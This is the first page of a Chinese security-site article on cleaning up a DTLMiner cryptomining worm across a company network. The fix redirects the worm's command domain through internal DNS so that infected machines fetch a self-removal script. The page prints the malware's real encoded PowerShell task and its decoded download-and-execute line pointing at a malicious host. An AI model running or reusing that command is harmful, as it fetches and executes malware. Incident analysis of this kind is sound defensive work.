欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

DNS劫持欺骗病毒“自杀”

来源:本站整理 作者:佚名 时间:2019-04-22 TAG: 我要投稿

某天忽然发现公司上百台机器中了变种的挖矿病毒DTLMiner,该病毒传播方式有多种,主要利用永恒之蓝漏洞、弱口令、mimikatz抓取域密码,数据库弱口令等方式传播,中毒后的机器会沦为挖矿机。
跟踪分析
中毒后的服务器CPU开始升高,机器445端口及1433端口产生大量链接数,并有对内网横向传播以及对外攻击的情况发生。


在系统磁盘下windows目录下发现多个随机命名的exe文件,以及mimikatz的运行日志文件,包括powershell文件。发现中毒后第一时间使用杀毒软件清理病毒,简单粗暴!但是效果并不尽人意,被杀毒软件杀掉的病毒又会重新生成新的病毒文件。了解DTLMiner后发现他会在windows计划任务中添加定时任务,而定时任务会执行powershell代码,不易被杀毒软件检测查杀。
计划任务powershell内容如下:
powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=

病毒利用powershell远程下载一段新的powershell代码执行,这里会定时下载新的病毒文件执行挖矿并开始蠕虫式传播。通过远程下载后拿到病毒代码,发现powershell代码被混淆过,在简单解码后主要内容可以看出:


powershell代码会通过服务端下载新的病毒执行,并添加后门powershell到任务计划,对于生成的exe病毒文件只需要杀毒软件就可以轻松解决,但是powershell的计划任务却被遗漏导致无法清理彻底。
在清理powershell的时候发现有几个坑点:
1.中毒机器数量太多,无法跟踪确认每一台机器都彻底清理干净;
2.powershell计划任务命名随机,通过永恒之蓝漏洞攻击是由system权限创建的,普通管理员很难删除;
3.只有有一台服务器没有彻底清理干净随时可以再次扩散,并且可能病毒会通过powershell远程下载再次变种。
DNS劫持欺骗“自杀”
如何在上百台中毒机器中高效删除所有机器的病毒呢?首先分析powershell代码,base64解码后得到地址:
IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)
通过上面的代码可以得知powershell会通过恶意域名v.beahh.com下载新的ps代码执行

那么只需要有一种替换ps代码的方式,让powershell请求恶意域获取到我们指定的ps代码即可控制病毒的执行,从而变成病毒的操控者,让病毒的ps代码主动请求“自杀”,这点只需要通过修改内网的DNS即可轻松做到。

准备web服务改为自定义ps代码
例如删除所有无法清理干净powershell后门:
$service=New-Object -ComObject("Schedule.Service")
$service.Connect($env:COMPUTERNAME)
#递归遍历所有和powershell有关的计划任务,发现则删除
Function DeletePowershellTaskScheduler($TaskPath){
    $folder=$service.GetFolder($TaskPath)
    $taskitem=$folder.GetFolders(0)
    foreach($i in $taskitem){
        $tasks=$i.GetTasks(0)
        foreach($task in $tasks){
 
            $taskName=$task.Name
            $taskPath=$task.Path
            $taskXml=$task.Xml
            #Write-Host $taskName
            if([String]::IsNullOrEmpty($taskXml)){
                $i.DeleteTask($taskName,0)
                Write-Host "$taskName shcdule tree error , delete sucess"
            }
            elseif ($taskXml.ToLower().Contains("powershell")){
                Write-Host "find scheduler script:$taskPath"

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.ylxj.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载